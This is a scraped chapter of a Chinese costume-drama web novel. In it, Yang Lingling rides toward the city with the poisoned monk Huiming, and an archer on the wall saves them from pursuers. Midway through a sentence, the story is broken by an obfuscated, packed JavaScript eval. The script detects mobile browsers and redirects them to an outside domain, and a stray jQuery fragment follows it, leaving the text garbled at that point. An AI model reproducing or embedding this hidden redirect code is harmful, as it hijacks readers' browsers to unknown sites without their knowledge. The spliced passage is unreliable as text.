原来玄明虽已将那监寺挟持住,却未曾料到他右手小臂处竟绑着袖箭。玄明稍不注意,监寺竟按动了机关。 “不必管我!你们先走!” 玄明应声,复而用力擒住了监寺的胳膊,将手中的短剑按得更深,音色发狠:“再敢乱动,信不信你的狗头即刻便落地。” 那监寺顿时老实许多,再不敢乱动。 * 晦明强忍住疼痛,将缰绳拼命拉住,好在那是匹身经百战的马儿,很快便恢复如常,平稳地奔驰着。他们方才经过几条蜿蜒的小路,此刻终于驶向了较为宽阔的大路。 一路上经过了几户农家,杨灵灵分明看见,有两棵树上绑着四匹马,然而当时他们一心逃命,等她反应过来那四匹马肯定是那四个黑衣人的时,再想倒回去将缰绳解开,已然是来不及了。 晦明将手中的缰绳和马鞭交给杨灵灵,声音微弱地嘱咐道:“施主,一直沿着这条大路走,应当就是回城的路了。” 杨灵灵连忙将缰绳握紧,疑惑地偏过头去看他:“法师,你怎么样了?腹部和腿上的上还好吗?” 晦明强撑着精神道:“不碍事,那不过是一把小孩子玩儿的伸缩匕首,有机关的。” 见晦明满头虚汗,唇色已有些发紫,杨灵灵心头一惊,焦急地问:“你中毒了?” “应该是。” 天呐,那暗箭上竟真的淬了毒? 就在那暗箭射中晦明之时,杨灵灵便有预感那是支毒箭。 古装剧里,箭上淬毒几乎成了标配。 但当她发现这当真是支毒箭时,还是火气上涌,忍不住破口大骂:“杀千刀的胖和尚!心肠不要太黑!就非得赶尽杀绝吗?!凭这些下作手段,就算当上了住持也得下台!” 现在,她只能寄希望于那箭上的毒不是什么见血封喉的剧毒,让他们还能有一点赶回城医治的时间。 “法师,你可千万要坚持住啊。等回城了,我一定给你找全城最好的大夫!” 她一面紧紧拽住缰绳,挥动着马鞭想让马儿再跑快些,一面微侧着头,用眼角余光注意着晦明的状态。 晦明“嗯”了一声,看着她白皙修长的脖颈、微微泛红的面颊,低下头,不着痕迹地隐藏住了眼底别样的情绪。 为了避免晦明精力不支昏睡过去,杨灵灵不停地找着话题。 一会儿问他回城之后想吃些什么,晦明回答:“没有什么特别想吃的。” 紧接着又问他想喝什么,晦明只好又答:“没有什么特别想喝的。” 话音刚落,她又连忙问他有什么想玩儿的,晦明又耐心回道:“没有什么想玩儿的”。 就这样来来回回,毫无营养地从吃喝玩乐到衣食住行,事无巨细地问了个遍,两人一马沿着大路疾驰了也有半个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439081|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰,杨灵灵实在想不出问什么了,却听晦明已是气若游丝,第一次主动问她: “回城之后……你不怕被官府关押吗?” 杨灵灵这才想起,她如今在这个剧本里的身份,已然不是一个清清白白的平头小老百姓,而是有着协助囚犯潜逃嫌疑的被通缉人员了。 害怕吗?她之前还真没想过这个问题。 可她衙门里有人啊,她怕什么? “不怕,我又没做坏事。” 然而等了半晌,晦明竟然连半个“嗯”字的回应也没有了。 感受到他滚烫的面颊靠在她的肩头,微弱的气息吐在她颈项间,杨灵灵不敢乱动,疑惑地微微侧头向后看去,只见晦明已然双目紧闭,昏了过去。 杨灵灵单手拿着缰绳和马鞭,空出一只手来反手握住晦明的手臂使劲地晃悠,焦急地喊道:“法师,法师,晦明!你醒醒啊,你别睡,千万别睡……” 然而晦明却没有丝毫反应。 倏地,杨灵灵心中泛起一股巨大的酸楚,但她咬紧牙关,将这莫名涌上心头的情绪给压了下去,告诉自己现在不是哭的时候。 她拉住晦明的小臂,让他环住自己的腰间,又将他的手紧紧拽住,避免他从马上掉落。 黑马就这样再沿着大路疾驰了莫约一刻钟,杨灵灵已然能够远远望见城门。 她心头那块石头落了一半,然而身后却忽然响起了马蹄疾驰之声。 杨灵灵连忙转头看去,见两个黑衣人竟驾着马从一条小路上杀了出来,紧紧追赶在他们身后。 她心头大惊,来不及多想,牢牢握住晦明的手臂以防他掉落,继而狠狠挥动马鞭,连连大喊着:“驾!驾!” 催促着马儿跑得快些,再快些。 城门越来越近,但那两个黑衣人一人一马,而她这边两人一马,速度无论如何也要比身后两人慢上许多。 前方,已能看见城门下人来人往,有衙役正在排查过往行人,杨灵灵心下一横,气沉丹田,拼命向前方大喊:“救命啊!杀人啦!几位官爷救命啊!” 眼见身后之人就要将他二人追上,一个黑衣人手握利剑,狠狠的向前刺来,杨灵灵只能拉住晦明猛地向前倾倒。 她忽地瞥见,城楼之上,此时正立着一个梳着利落马尾,身着玄青色劲装的挺拔身影。 而那个身影正朝着她的方向,拉弓搭箭。 说时迟那时快,只听“嗖——”的破空之声,利箭离弦,直直地向她飞了过来。 她睁大双眼,下意识地想要躲避,可还来不及有更多反应,那只箭竟已擦着她的耳畔,向她身后之人射去。 身后传来一声凄厉的哀嚎,杨灵灵连忙扭头看去,只见鲜血飞溅,那箭已将那黑衣人的手狠狠刺.穿,他手中利剑也掉落在地。 紧接着,又有两三支箭从城楼上飞来,皆齐齐向她身后飞去。箭无虚发,分别射中了她身后两匹马的腿部。 随着两声惨烈的嘶鸣,马失前蹄,那两个黑衣人重心不稳,继而又有几支飞箭“刷刷”落下,刺中了黑衣人肩部和腿部,令那两人狠狠地从马上跌落。 然而此时,杨灵灵的马已然驶至城门之下。 城门口几个衙役看见,立即上前来将马牵住,而那个身着玄青色劲装的身影已带着几个衙役匆忙地从城墙的楼梯上跑了下来。 那人停在杨灵灵面前,而其余之人则冲向城门外的黑衣人,将那二人擒住。 方才慌乱之间,杨灵灵没能看清那人的样貌,而此时见了,心道自己方才果然所料非虚。 她欣喜地看着那来人,由衷地赞叹:“冷冰冰,当真是好箭法!”